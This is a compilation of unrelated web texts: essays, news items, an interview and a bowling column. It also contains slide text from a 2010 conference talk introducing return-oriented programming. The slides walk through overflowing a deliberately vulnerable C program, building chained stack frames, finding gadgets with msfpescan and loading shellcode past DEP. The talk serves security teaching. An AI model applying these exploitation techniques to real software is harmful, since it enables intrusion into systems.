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Friday, December 15, 2017
The Teachings of Jesus Christ as the Teachings of Don Juan Matus
I know this answer isn't going to satisfy anyone. We live in an age of instant answers and in the end I am not smart enough to match the speed required for giving an answer on this subject. I guess if you want speed, go to someone else as your 'service provider.' I am happy taking an agnostic position on the existence of Jesus. Maybe he existed or maybe he didn't.
I am pretty certain the gospel was intended as something more than mere 'history.' Whoever the original author was, he had the Pentateuch in its sights and the Pentateuch is more than a story - it's the Law. I am not even sure the first Israelites who received this text thought it was 'God's word' but that's what it became. Over the course of time a book written by a Hebrew scribe at the beginning of the Persian period masquerading as Moses was taken to be a book written by God. I bet Moses the magician would have been proud!
But the gospel, in my opinion, wanted to do one better. Magicians love to outdo one another. If the one guy can make a woman disappear, the next guy does the act with a jumbo jet. That's how these guys work. The Jews had the story of how their fathers were friendly with God; the Christians literally made God their father. That's the story of the gospel. Even though it's present as the story of Jesus it's really, secretly about the way Christians became God's chosen people.
Of course, in the end you can read any story any way you want to. We don't live in an age where heresy is actively persecuted or identified. The fact that on surface indeed the text resembles a history of some sort is part of the magicians craft. But to take the story as essentially being a history, well that is another matter entirely. As I said we live in a free world, we can do what ever we want. If you go one step further and take away any trace of symbolism or allegory from the text you read the gospel as if Jesus was giving advice on husbandry, marriage, child rearing, yard work and other inanities. So in the end, any concerted obtuseness can transform the gospel into an ancient precursor of the Farmers Almanac.
But to say that the gospel doesn't develop from myth-making ignores some basic facts. Jesus is portrayed as something of a mythopoet. Why is that? Was Jesus really a maker of parables or is Jesus's parable-making nothing more than a clue planted by the author to understand his literary purpose? The portrait of Jesus the parable-maker might well be like looking at an image of ourselves in a mirror looking at ourselves in the mirror. The gospel is Jesus is telling stories about people like Jesus in a story written by someone like Jesus.
In fact Jesus is a lot like the stick figures from his parables. Jesus only tells us as much as we need to know about the man who buries a treasure just as the author offers us the barest of outlines about his Jesus. Why doesn't he just remove Jesus from the dizzying vertigo of looking at ourselves looking into the mirror? Jesus is portrayed as weaving riddles and allegories because he is nothing more than the double of the mythopoet who is the gospel writer. Jesus is a walking stick man, a man who has no history or at least a man's whose history is unknown to the author.
Maybe the author heard about a crucified man and wanted to use him as the protagonist for his extended parable which is the gospel. It's possible. And that makes Jesus a historical figure. Fine. But if we learn something from the gospel it is from only what the gospel writer wants us to see, it is only from what the gospel writer knows from his own reality. The Marcionites thought Paul wrote the original gospel and various texts tell us his only say Jesus in a vision. Maybe there was a historical Jesus, but all we have now is a stolen copy of Paul's original dream of Jesus. Good luck finding history in that!
No wonder Jesus can only tell parables or act symbolically. He's little more than a punchline in a gag. He has no childhood reminiscences because he had no childhood. He has no stories of lost loves, relationship problems, illnesses or any of the things you can't escape when you are forced to make your way through existence, because he never lived. He's given a tabla rasa because he is a virgin, not only with respect to sexuality but with regards to this world.
Indeed it is impossible not to see the similarity between Jesus and one of the faceless, nameless figures from his own parables. Go beyond the citation of Isaiah chapter 40 and the Gospel of Mark opens like a joke making the rounds at a bar - 'A rabbi walks into a bar ...' That's why it is so strange to see Jesus depicted as a maker of parables. He's the double of the gospel writer, the evangelist who tells the story of Jesus evangelizing.
The gospel on some level is a parallel universe to the author's own world. What Jesus did, the author now does. He tells the story of how he came to be, through an account of Jesus's becoming. Yet the author doesn't go on to mention himself seeing, hearing or knowing this precursor, this literary doppleganger. Jesus is the 'rabbi' of the original evangelist's extended parable. A man walks into a synagogue and ended getting crucified. You can hear it as a punchline over a couple of beers in its rough form or you can wait and see it stretched out to a written narrative. The choice is yours.
Is Rodney Dangerfield's wife really that fat? How fat is she? Do any of the things that the comedian tells his audience happened to him the other day actually happen the way he tells it? Did they happen at all? We don't care. They're all so funny because what he says is so true! But what if they aren't true at all? We don't care as long as he makes us laugh.
It's the same way with the gospel. It's a story about hierophant as told by a mystagogue. Copperfield on Houdini. When one puts the other in the box, we shouldn't be surprised to find them switch places by the end of the 'act.' Watching Jesus walk on the earth in the gospel narrative I am reminded of Casteneda's dream reality when Don Juan instructs him to look at his hand after he has fallen asleep and entered in another world. Casteneda tells us that eventually he manages to summon enough power to do the impossible - he raises his hand in the dream and stares at his palm. Don Juan promises that he can visit with people in the waking world and they will mistake him for his real self and he will have unlimited power.
The Teachings of Don Juan were written as history and Juan Matus is still believed by some to be a historical shaman. Carlos Casteneda's books have a 'cult-like' following no less than the gospel did in its earliest years. It is impossible to prove that the young UCLA professor did not in fact meet a Mexican shaman. Juan Matus like Jesus occupies a midpoint between pure history and pure fiction. I find it difficult to believe that any argument for the existence of Jesus can be made stronger than the case for the existence of Juan Matus - this in spite of the fact that we live within a few years of Casteneda's death.
As my grade 10 English teacher once said, 'even as fiction it's great stuff.' So too the gospel ...
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Pinterest Guilt Game
Who here is guilty of looking at Pinterest more than their Bible?
**Raises hand, sheepishly.**
I like...no, I love making things for my family. I love getting creative with their birthday cakes and decorations. What began years ago, when we were new parents with very little money; when foods and special cakes were just about the extent of our kids' birthdays, has grown and turned into a beautiful tradition.
However, I find myself stressing, internally, about everything I do or don't do. My mommy guilt is in constant limbo between feeling badly about not doing enough, and feeling badly about doing too much.
Our oldest son's 10th birthday was last week. I spent all day the day before his party, in my pajamas, from morning to night, baking, and decorating, and doing the dishes; baking, and decorating, and doing the dishes, on repeat. I was happy to do it. This is my love language! However, the whole day, I had to turn down invitations to play. I had to lean on my parents and husband to take care of the kids' emotional, mental, and physical needs, and basically ignore everyone while I worked.
Finally, at the end of the night, I asked my mom, "Do you think I am doing more harm than good by putting so much effort into these parties?"
She said, "No, I think your kids will remember these birthdays fondly, and remember all you did to make them special."
So simple. Moms of past generations did not overthink these things as much as we seem to do now. While I fret over spending too much time cleaning and baking and turning down invitations to play, I also find myself in a guilt riddled panic if I don't do all of those things for our child's birthday. Just this August our younger son's birthday happened to fall on a travel day, returning from a wedding, and I felt terrible!
But here's the thing. Not every birthday will be the same, not every birthday will be perfect or go exactly as planned. And not everyone will do what I do for their kids' birthdays. Not everyone likes to bake, not everyone likes big parties. Not everyone is even ON Pinterest (if you can believe that)! And that's ok!
We will all have different parenting styles. We will all have different birthday and holiday traditions. And it is important to remember that there is literally nothing in the Bible about what we do for our children's birthdays; whether we make their cakes from scratch or buy them from the store, whether we decorate to the nines or not, whether we give out party favors or not, whether we Pinterest fail or Pinterest win.
Do you know what the Bible says about parenting?
I can tell you, with great certainty, I can't find it anywhere in the Bible where it says Pinterest is the holy grail of mommy manuals.
It's just not there.
What is there?
The Bible talks a lot about disciplining and correcting our children. (Proverbs 13:24) It talks of guiding them on the right path. (Proverbs 22:6, Titus 2:7) It talks about not discouraging them or causing resentment. (Ephesians 6:4, 1 Peter 5:3)
These are just some examples, but the list goes on, and the overarching theme is to raise up good and decent human beings who love Jesus and love others. Sounds simple right?
Y'all, our generation has made parenting sooooo much more complicated than it should be! Moms, I cannot say this enough; we must get out of our own heads! Be diligent and pray, but stop worrying about every little thing you do or don't do. Stop comparing yourself to other moms who may do things differently. You cannot even compare yourself as mom of 4 to yourself as mom of 2! Be confident in the parent God has called you to be. He does not make mistakes. He is not a God of confusion. Your steps are ordained, designed to help mold your children into the people God has called them to be.
Pinterest can be a great blessing, or a source of great stress. Seek His Word for council, and Pinterest for crafts. Do not mix up the two, and you will be just fine.
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"We love poetry and believe in what it can do in the world."
In 2015, Copper Canyon Press, an independent publisher dedicated to publishing both classic and contemporary poetry, was awarded the distinct honor of publishing a collection of Pablo Neruda poems that had been rediscovered amongst his papers in 2014. With the blessing of Neruda's estate, they decided to launch a Kickstarter project to publish the originally handwritten volume, titled The Lost Poems of Pablo Neruda.
"There were all kinds of goosebump-inducing and emotional moments" during the campaign, says Elaina Ellis, an editor at Copper Canyon. "The moment filming our project video when artist Karie Jane broke down in tears when we handed her one of Neruda's lost poems to read for the first time; the time a Chilean teenager wrote to us to tell us how much our project meant to her; the time a backer drove for six hours to attend our book release event in Los Angeles."
In addition to publishing works by award-winning poets like Neruda, they've released debuts by up-and-comers like Ocean Vuong.
Recently, Copper Canyon reached even further back into Neruda's archive to publish Crepusculario (Book of Twilight), his earliest collection of poems, penned in 1923 when he was only a teenager. (You can preview one of the poems here.) The book has never been published in its entirety in English, which is why Copper Canyon asked the Kickstarter community to help them translate the collection — full of youthful energy and promise of his blossoming talent — for a new generation of poetry-lovers.
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Meet the Muse: Zarna Surti
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A content, copywriting, and editorial strategist for over eight years, one could easily call Zarna Surti a professional storyteller. With experience working for such acclaimed brands as Girlboss and Vogue India, Surti's adaptability is precisely what fuels her distinct voice and presence within media.
Diversity and inclusion being the backbone of her work, Surti recently launched Tonal, an equal parts publication and creative studio that supports the narratives of women-of-color while partnering with minority-owned businesses, respectively. A source of power for underrepresented communities, it's already clear that Tonal (and Surti herself) are a force to be reckoned with.
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on her childhood
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There wasn't a specific "aha moment" -- it was always in my DNA. Ever since I was a child, there really wasn't a question that I was a little weird and off the beaten path, especially for an Indian girl. I was, however, very inspired by my father who is an entrepreneur. He taught me being your own boss is one of the best things you can do for yourself and that you should always think big!
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Research into native pastures in East Gippsland
6 March 2018
A collaborative project is generating information that will help graziers optimise the productive capability of native pastures and improve groundcover.
After 18 months of monitoring two demonstration sites in the Tambo Valley, the project is producing some promising results.
Agriculture Victoria's Dr Meredith Mitchell is leading the investigation and said native pasture species of Microlena, Wallaby grass and Red Grass were responding well to increased soil fertility,
with improved production and digestibility.
Connors Hill trial site landowner, Ken Skews (Tambo Valley) said he was interested in seeing how his country responds to this management strategy and to see if there was any change in pasture
composition over the trial period.
Reedy Flat site landowners, Simon and Rowena Turner said they welcomed the trial on their property.
"Due to increased costs of production and poor commodity returns over the past 30 years, farmers in the area have seen a decline in their soil fertility and livestock production," Mr Turner said.
"With recent improvements in commodity returns there is currently an opportunity to address the phosphorus deficit and to improve grazing management. We have modified our management as a
result of data and information generated by this program."
Dr Mitchell said strategic grazing was also having a positive effect on dry matter production.
Pasture composition measurements have been collected, together with regular soil and feed tests to monitor changes over time.
Rainfall and pasture growth has also been measured regularly, and dry conditions during the trial have impacted on the sites performance. However, it was positive how quickly the pastures
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Ground cover has remained high at the Connors Hill site, with more than 80 per cent of the site covered, with Wallaby grass and Red grass the most common species. While the Reedy Flat site has
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Viele haben es stillheimlich gehofft (so auch wir) das diesjährige iRacing-Event in Le Mans bereits mit dem Tag-/Nachtwechsel fahren zu können. Nun gab es ein Update von Steve Myers (Executive Vice President and Executive Producer), welches diese Hoffnungen leider zunichte macht. So rechnen Sie immer noch mit einem Release in 2018, allerdings nicht zum nächsten Build im Juni. Aber lest selbst:
We have been able to move the sun for years but that is not the quality we are looking for and you would not be happy with just that as a customer base. The project is moving right along and it looks great. The track temperature will be changing and impacted by the moving sun, moving clouds and shadows, etc. We do still expect a 2018 release but it will not be in this June build and we never planned on it making this build.
Right now we are working on the moving clouds casting the right shadows, hopefully, that works out well. There are all different types of shadows to give that realistic look. In fact, one of the things we are generally working on also is additional shadows. A big impression spoiler can be shadows, although most people could not tell you why, they would just say something does not look right or fake. All the little details are important and they take time. A lot of work that is also being done now on this particular project is the optimization of the graphics, to make sure no loss in frame rates etc. No sense doing any of it, if the frame rate quality suffers in a meaningful way.
The sunsets and sunrises look spectacular. We were just looking at the sun rising at Belle Ise on a partly cloudy day, it looked really cool with the sun impacted by shadows reflecting off the glass buildings.
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It has been five years since the Taliban regime demolished two ancient, giant Buddha statues carved into a hillside in the central Afghan province of Bamiyan. The demolition took place over two weeks in late February and early March 2001. At the time, few of those who joined the international chorus condemning the demolition imagined there might be a third statue -- an even larger "sleeping Buddha" -- buried in the same valley. But an Afghan-born archeology professor thinks he is close to uncovering a 300-meter-long Buddha statue buried in a horizontal position nearby.
Professor Zemaryali Tarzi is one of the world's most knowledgeable experts on the demolished Bamiyan Buddhas. Before fleeing the Soviet invasion of Afghanistan in 1979, he had spent three decades studying the area and repairing the two giant Buddhas that eventually were destroyed by the Taliban. Tarzi, who now teaches in France, plans to return to Bamiyan this summer for a fifth consecutive summer to continue his excavations. He talked to RFE/RL about the work he is doing in the shadow of the hill where the two giant Buddhas once stood.
RFE/RL: As the president of the Association for the Protection of Afghan Archeology and a man who dedicated decades of work to studying the Bamiyan Buddhas, how did you feel five years ago when you first learned that the giant statues had been completely destroyed by the Taliban as "un-Islamic"?
Tarzi: We didn't expect the Taliban to destroy the largest Buddha. When I saw on television that they had done this despite the pleas of UNESCO, I lost my temper. I took off my sandal and threw it at the television. I was so angry that I wanted to destroy the television.
RFE/RL: You have spent the four summers since the demise of the Taliban regime leading a team of French archeologists in a search for a third giant Buddha. This third statue is thought to be even larger that the 38-meter and 55-meter-high statues the Taliban destroyed.
Tarzi: The talk about a third Buddha is not new. Around 1975 or 1976, when I was still living in Afghanistan, I had studied the possibility of the existence of a third 'sleeping' Buddha. But I left the country before I could finish this work, and I didn't expect to ever return to Afghanistan.
RFE/RL: Why do you think there is a third giant Buddha statue at Bamiyan? What are the historic sources that have led you to that conclusion?
Tarzi: I am searching now for a Buddha that I think is about 300 meters long and was built in a sleeping or lying position -- [originally within a very large temple complex]. We have been able to locate the right temple, and excavations are continuing. This is not a small compound. So we have not been able to finish our excavations within a year or two. We need to be patient and do this the right way. The temple is about 1.5 kilometers east of the ancient royal city of Bamiyan. That temple was discovered by my archeological team. We are now studying the travel journal of a Chinese tourist from the year 632 A.D. to see if descriptions of a third giant Bamiyan Buddha are accurate. [Editor's note: The descriptions in that travel journal of the two standing Buddhas proved very accurate.] In archeological work, any expected result is never a 100 percent guarantee. But we are continuing. If we find it, this would be the largest Buddha statue in the world. It is described as lying down horizontally with a length of about 300 meters -- and the form of the Buddha is said to have 1,000 legs.
RFE/RL: What kind of security has been offered by Afghan authorities to guard against vandalism, looting, or even attacks against your archeologists?
Tarzi: Before returning to Afghanistan [in 2002], I expected the security situation to be precarious. But I am pleased that there is peace and stability in Bamiyan now. The reception we've had from the people of Bamiyan and from the governor of Bamiyan Province has been better than we expected. So we don't have any problems with security [because guards are posted there around the clock].
RFE/RL: Your current excavations have been financed by the French Foreign Ministry and the American National Geographic Society. What other kind of archeological work is going on in Bamiyan related to the Bamiyan Buddhas?
Tarzi: The Japanese government and UNESCO has allocated a large amount of money for the restoration and maintenance of all of Bamiyan's monuments. This is true. But on the other hand, the director of UNESCO [Koichiro Matsuura] is from Japan. That is why the Japanese project in Afghanistan gets more support from UNESCO than ours. I think officials in the Afghan central government also have a favorable attitude about the Japanese project.
RFE/RL: In the past four years, you already have uncovered the heads of many smaller Buddha statues. You have said that this is why you think you have found the area of the temple complex around a giant sleeping Buddha:
Tarzi: With the ongoing excavations in the eastern temple -- to the southeast of where the 38-meter Buddha once stood -- the goal has not been just to find the heads of statues. Many statues have been found: I'd say that 30 to 40 heads have been discovered. All of these finds are recorded, and our findings our published each year to let others know about it. These are very valuable monuments of an ancient type that has been discovered for the first time at Bamiyan.
RFE/RL: One of the giant 2,000-year-old Buddhas before their demolitionWhat impact do you think the discovery of a third giant Buddha at Bamiyan would have on the psyche of those Afghans who feel the Taliban destroyed one of the most important symbols of Afghan history?
Tarzi: The impact upon the morale of Afghans and the national conscience will be significant. On the other hand, a large number of other Afghan monuments also have been destroyed. So when we find a new monument, it gives the country something that helps make up for those treasures that have been lost.
(Contributors to this report include RFE/RL correspondent Ron Synovitz and Radio Free Afghanistan reporters Sami Abass and Sultan Sarwar.)
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This is the second installment from Tom Paterson of Saskatchewan. The mental game is always a key element on success in sports, and bowling is no different. Here is Paterson's article on "The Most Important Mental Skill" Check his bowler bio on the top right of this page.
When people make a list of all the mental skills they could be developing they tend to leave one off their list. The skill left off the list is really the one staring us straight in the face – yet we don't see it. OR…maybe we simply see all this other stuff and get lost in the jumble of thoughts. So what is that one skill. Let's make a list of what is not top dog on the list.
Relaxation skills – because without it we could not focus clearly on our task.
Focus – yup we need it, and yup you need to be able to control your impulses and relax before you can truly focus in a most productive manner.
Imagery – so that we can direct our mental blueprint to where it is most beneficial.
Stress Management – simply learning to handle distractions
Self Discipline – making that commitment and sticking to it
Recovery – learning to recover from a poor game, a series of head pins, etc.
All of the above we could work on and yes it would make you a better player. But…unless there is a grander picture the above won't net much gain. What is the one skill everything you do should be moving towards developing? It's the C word – CONFIDENCE.
To get to a stronger consistent mind set of confidence one must begin with AWARENESS. If confidence is the most important mental skill to develop than one very key element is
Awareness. Awareness is about simply being aware in three main areas:
The physical part of awareness is really how it feels to execute correctly and when your game is a bit off being able to detect and correct by feel. Feel can be a subtle thing such as the extension you give each follow thru. Or it can be something basic such as knowing the feel associated with holding your follow thru. There is also the physical or feel component that results from when you are emotionally charged. – because this emotion has a ripple effect upon the quality and feel of execution.
When playing well your emotional level sits at a certain point. It is essentially the degree of excitedness you feel when playing at your best. AND as importantly recognizing how to get yourself there when you are blasé , and when you are simply overly excited, possibly (overly excited, frustrated, or angry). Maintaining a perspective based on logic and focused on what you can control is important in getting your emotions back under control.
This is the problem solving side of you. Being ready and able to problem solve through the various challenges that come to you. And…doing so in a calm, rational, productive way. Once you solve the problem or at the very least have something you are going to try and do, the next job is to simply do it. In other words throw as if you cannot fail Here is where a sage piece of advice is 'don't get in the way of yourself' is important.
A second part of the intellectual side is our ability to create our own perceptions. The vast majority of mental hurdles stem from a perceptual frame. How we choose to look at something plays greatly into our favour or disfavour. The key here is to bring everything to what you control. For example: I you may not presently feel that you can average 200, in fact thinking of this may create anxiety, and doubt in your mind. Maybe you are simply just not good enough. (despise the term 'good enough'). Instead o f thinking of all the things out of your control begin to plot a map for how you are going to get to your goal. Maybe it includes improving your follow through, being more patient, taking your time on the lane so that you do not rush. A great resource to help you with framing includes a book written by Dr. Gio Valiante titled 'Fearless Golf' Read it and I am betting you become a more consistent athlete in whatever you choose.


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net-squareIntroduction to ROPa first look at return oriented programmingSaumil Shah, Net-SquareHack.LU 2010 - Luxembourg
net-squareIntroduction• DEP• EIP control• Ret2LibC• Return Oriented Programming
net-squareDEP• Hardware enforced (NX).• Data areas marked non-executable.– Stack marked non-executable.– Heap marked non-executable.• You can load your shellcode in the stackor the heap...• ...but you cant jump to it.
net-squareEIP control• Stack - forbidden• Heap - forbidden• Binary - OK• DLLs - OKProgram ImageHeapStackDLLDLLDLL
net-squareRet2LibC• Return to LibC.• Pioneered by Solar Designer in 1997.• EIP made to "return to a function".• Need control of the stack memory.– We usually have it.
net-squareRet2LibC - how does it work?• Create a fake frame on the stack.• After an overflowed function returns...• ...set the EIP return address to the newfunction.• Append the fake frame.• New function executes.– parameters consumed from the fake frame.• system("/bin/sh")
net-squareReturn Oriented Programming• Series of function returns.• Chained frames.• Transform EIP based primitives into stubsthat can be "returned into".• ESP is the new EIP!
net-squareTopics• Function calls and returns• Stack overflows revisited• Creating stack frames• Chaining frames• ESP control
net-squareCalling a function• Add two ints x, y.• add(3,4)• What does the callingframe look like?void add(int x, int y){int sum;sum = x + y;printf("%dn", sum);}int main(){add(3, 4);}
net-squareStack frame for add(3,4)frame for add()return address from add()34call add
net-squareReturn from add(3,4)• add() is about to return.• RET after epilogue of add().• Where does ESP point to?– immediately before the RET• What does the stack look like?
net-squareBefore the RETreturn address from add()34ESP
net-squareAnother function• Stack overflow infunc1.• Can we call add(5, 6)after returning fromfunc1?void func1(char *s){char buffer[128];strcpy(buffer, s);}int main(){func1(argv[1]);}
net-squareStack frame for func1()bufferreturn address from func1s
net-squarestrcpy(buffer, s)bufferreturn address from func1sAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
net-squareBefore the RETbufferreturn address from func1sAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAESP
net-squareAfter the RETbufferreturn address from func1sAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEIP = 0x41414141ESP
net-squareReturn to add()• Insert a fake frame in the buffer.• Make func1() return to:add(01010101, 02020202)• What does the stack frame look like?
net-squarestrcpy(buffer, s)bufferreturn address from func1sAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaddress of addreturn address from add0101010102020202
net-squareBefore func1() returnsbufferreturn address from func1sAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaddress of addreturn address from add0101010102020202ESP
net-squareReturn to add()bufferreturn address from func1sAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaddress of addreturn address from add0101010102020202ESPEIP = add()
net-squareReturn to add()• By carefully creating a frame...• ...we can make the program "return toour function".• We control the parameters.• We also control where to jump to afterour function returns.
net-squarevictim2.cint main(int argc, char *argv[]){add(3, 4);func1(argv[1]);}void func1(char *s){char buffer[128];strcpy(buffer, s);}void print_hello(void){printf("Hello Worldn");}void add(int x, int y){int sum;sum = x + y;printf("%d + %d = %dn", x, y, sum);}stack overflow lurks here!
net-squarevictim2.c• Compile victim2.c• Run victim2 under a debugger• Study the stack frame before add(3, 4)gcc victim2.c -o victim2gdb victim2
net-squaregdbing add• Set a breakpoint before add(3, 4)0x804836c <main>: push %ebp0x804836d <main+1>: mov %esp,%ebp0x804836f <main+3>: sub $0x8,%esp0x8048372 <main+6>: and $0xfffffff0,%esp0x8048375 <main+9>: mov $0x0,%eax0x804837a <main+14>: sub %eax,%esp0x804837c <main+16>: sub $0x8,%esp0x804837f <main+19>: push $0x40x8048381 <main+21>: push $0x30x8048383 <main+23>: call 0x80483de <add>0x8048388 <main+28>: add $0x10,%esp0x804838b <main+31>: cmpl $0x1,0x8(%ebp)
net-squareStack frame before add(3, 4)• Dump the stack• Continue(gdb) x/64 $esp0xbffff8ac: 0x08048388 0x00000003 0x00000004 0xbffff8c80xbffff8bc: 0x0804841c 0x40148f50 0x40012780 0xbffff8e80x0804838834
net-squareOverflowing func1()• Overflow func1 and......return to add(01010101, 02020202)• Create a fake frame.• Overwrite stack.• frame1.plreturn from func1param1param2return from add0x080483de0x010101010x020202020x42424242
net-squareframe1.pl• Creates the overflow buffer as follows:• Set this in an environment variable EGGand run victim2 with $EGG:080483deAAAAAA...140...AAAAAA 42424242 01010101 02020202distanceto EIPaddressof addreturnfrom addparam1 param2export EGG=`./frame1.pl`gdb victim2(gdb) run $EGG
net-squareESP• Where will ESP be after returning fromadd?• Verify080483deAAAAAA...140...AAAAAA 42424242 01010101 02020202(gdb) x/64 $esp0xbffff824: 0x01010101 0x02020202 0x08048400 0x40148f500xbffff834: 0x40012780 0xbffff858 0x4002e7f7 0x00000002ESP
net-squareChaining functions• After add(01010101, 02020202), we wantto run add(03030303, 04040404).• How should we set up the frames?• First, study the frame after add() returns.
net-squareAfter add() returnsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaddress of add424242420101010102020202ESPEIP = 42424242
net-squareWhere does the new frame go?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaddress of add424242420101010102020202address of add??0303030304040404
net-squareWhere does the new frame go?• We get only ONE chance at strcpy.• How do we preserve params 01010101and 02020202?• We can only APPEND the second framebelow our first frame.• We have to UNWIND the first framebefore returning to the second frame.• Return to epilogue!
net-squareChaining the framesAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaddress of addaddress of POP/POP/RET0101010102020202address of add424242420303030304040404add(01010101, 02020202)add(03030303, 04040404)
net-squareKeeping ESP in controlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaddress of addaddress of POP/POP/RET0101010102020202address of add424242420303030304040404Return from func1Return to add()Return to POP/POP/RETPOPPOPESPRET - Return to add()Finally EIP = 0x42424242
net-squareframe2.pl• Creates the overflow buffer as follows:080483deAAAAAA...140...AAAAAA 0804843d 01010101 02020202distanceto EIPaddressof addPOP/POP/RETparam1 param2080483de 42424242 03030303 04040404addressof addreturnfrom addparam1 param2 Use msfelfscan tofind the address ofPOP/POP/RET fromvictim2 binary.
net-squareframe2.pl• Set this in an environment variable EGGand run victim2 with $EGG:export EGG=`./frame2.pl`gdb victim2(gdb) run $EGGStarting program: /home/user0/victim2 $EGG3 + 4 = 71010101 + 2020202 = 30303033030303 + 4040404 = 7070707Program received signal SIGSEGV, Segmentation fault.0x42424242 in ?? ()
net-squareIts all about ESP!• ESP is the new EIP.• ROP involves keeping the ESP movingthrough the frames on the stack.• Frames can be chained by returning toepilogues of functions.– to appropriately unwind the parameterspushed on the stack.• We must never lose sight of RET.
net-squareROP frames - generic approachf1(A, B)f2(X)f1(C, D)f3(P, Q, R, S)f2(Y)::& f1()& POP/POP/RETAB& f2()& POP/RETX& f3()& POPAD/RETPQR& f1()& POP/POP/RETCDjunkjunkjunk& f2()& POP/RETYS
net-squareTopics• Transforming classic EIP code to ROP• ROP vs. classic programming• Thinking in ROP terms• Assembling frames• Gadgets• Searching for gadgets• Generic techniques
net-squareEIP vs. ESPClassic EIP code• N ops = N instructions.• EIP increments.• ESP fluctuates.• The CPU increments EIPautomatically.ROP code• N ops = N frames.• ESP increments.• EIP fluctuates.• We have to control ESPthrough RET instructions.
net-squareTransform EIP code to ROP• Load two registers• Call a function– with params 3,4• How does thistranslate in ROPterms?mov eax, 14mov ecx, 02500000push 3push 4call 77fe3210
net-squareThinking in ROP terms??AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA14ESPPut 14 in the next stack word, and POPit into EAX.RETfunction bodyepilogueprologuevulnerable functionEIPmov eax, 14RETPOP EAXPOP EBXfunctionX700344fe700344fd700344ff
net-squareThinking in ROP terms700344feAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA14ESPRETfunction bodyepilogueprologuevulnerable functionEIPJump to address of "POP EAX; RET".Search function epilogues.RETPOP EAXPOP EBXfunctionXmov eax, 14
net-squareThinking in ROP terms700344fe??AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1402500000ESPRETfunction bodyepilogueprologuevulnerable functionEIPPlace 02500000 as the next stack word,to be loaded into ECX.RETPOP EAXPOP EBXfunctionXeax = 00000014mov ecx, 02500000
net-squareThinking in ROP terms700344fe6d894430AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1402500000RETfunction bodyepilogueprologuevulnerable functionWe now need an address of a "POP ECX;RET" sequence.RETPOP EAXPOP EBXfunctionXRETPOP ECXfunctionYESP EIPeax = 00000014mov ecx, 025000006d8944306d894431
net-squareThinking in ROP terms700344fe6d894430AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1402500000ESPRETfunction bodyepilogueprologuevulnerable function02500000 is popped into ECX.RETPOP EAXPOP EBXfunctionXEIPRETPOP ECXfunctionYeax = 00000014mov ecx, 02500000
net-squareThinking in ROP terms700344fe6d894430AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1402500000??ESPRETfunction bodyepilogueprologuevulnerable functionWe now need to call a function at77fe3210, with parameters 3, 4RETPOP EAXPOP EBXfunctionXEIP RETPOP ECXfunctionYpush 3; push 4; call 77fe3210eax = 00000014 ecx = 02500000
net-squareGadget DictionaryPOP EAX; RETLoad value intoregistervaluePOP ECX; RETRead memory ataddressaddressADD EAX,n; RETAddMOV EAX,[ECX]; RETPOP EAX; RETWrite value ataddressaddressPOP ECX; RETvalueMOV [EAX],ECX; RETINC EAX; RETIncrementaddress of functionCall a functionparam cleanupparam 1param 2RETNOPparam NPOP; POP ... RETADD ESP,24; RETPOPAD; RETPOP EAX; RETCall a functionpointeraddressCALL [EAX]; RETXCHG EAX,ESP; RETStack flip ESP=EAXLEAVE; RETStack flip ESP=EBPPOP ESP; RETStack flip ESP=addraddress
net-squareInstruction OpcodesInstruction OpcodesRET C3RET n C2 16bitsPOP EAX 58POP ECX 59MOV EAX,[ECX] 8B 01MOV [EAX],ECX 89 08MOV [ECX],EAX 89 01INC EAX 40ADD EAX, n 83 C0 8bits
net-squareInstruction OpcodesInstruction OpcodesPOP EBX/EDX/ESI/EDI/EBP 5B/5A/5E/5F/5DPOPAD 61ADD ESP,24 83 C4 18CALL [EAX] FF 10XCHG EAX,ESP 94LEAVE C9 (mov esp,ebp; pop ebp)POP ESP 5C
net-squareSearching for Gadgets• Use msfpescans regex search.• Example: MOV EAX,[ECX]; RETmsfpescan -D -r x8Bx01xC3 <file>msfpescan -D -r x8Bx01xC2.x00 <file>msfpescan -D -r x8Bx01.xC3 <file>msfpescan -D -r x8Bx01..xC3 <file>• Sometimes you may need to improvise.
net-squareGeneric Techniques• Run arbitrary shellcode.• Difficult to transform entire shellcode toROP frames.• Create a ROP loader:– Allocate RWX memory– Copy classic shellcode to this memory– Jump to shellcode• Load and run any shellcode.
net-squareDEMO TIME!• Java JNLP docbase overflow• Exploiting IE8 using ROP
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How to Install a Custom WordPress Themes :
We can install a custom theme on your WordPress blog. Before going to start installing a custom WordPress theme, first you have to download and save custom theme on our PC. You can install custom theme in WordPress in 3 different ways, Via administration panel , ftp and cpanel .
Follow below steps to install a custom themes in WordPress.
Step 1 : Go to WordPress Dashboard
step 2 : Click on Appearance
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One thought on "Toliver's Secret"
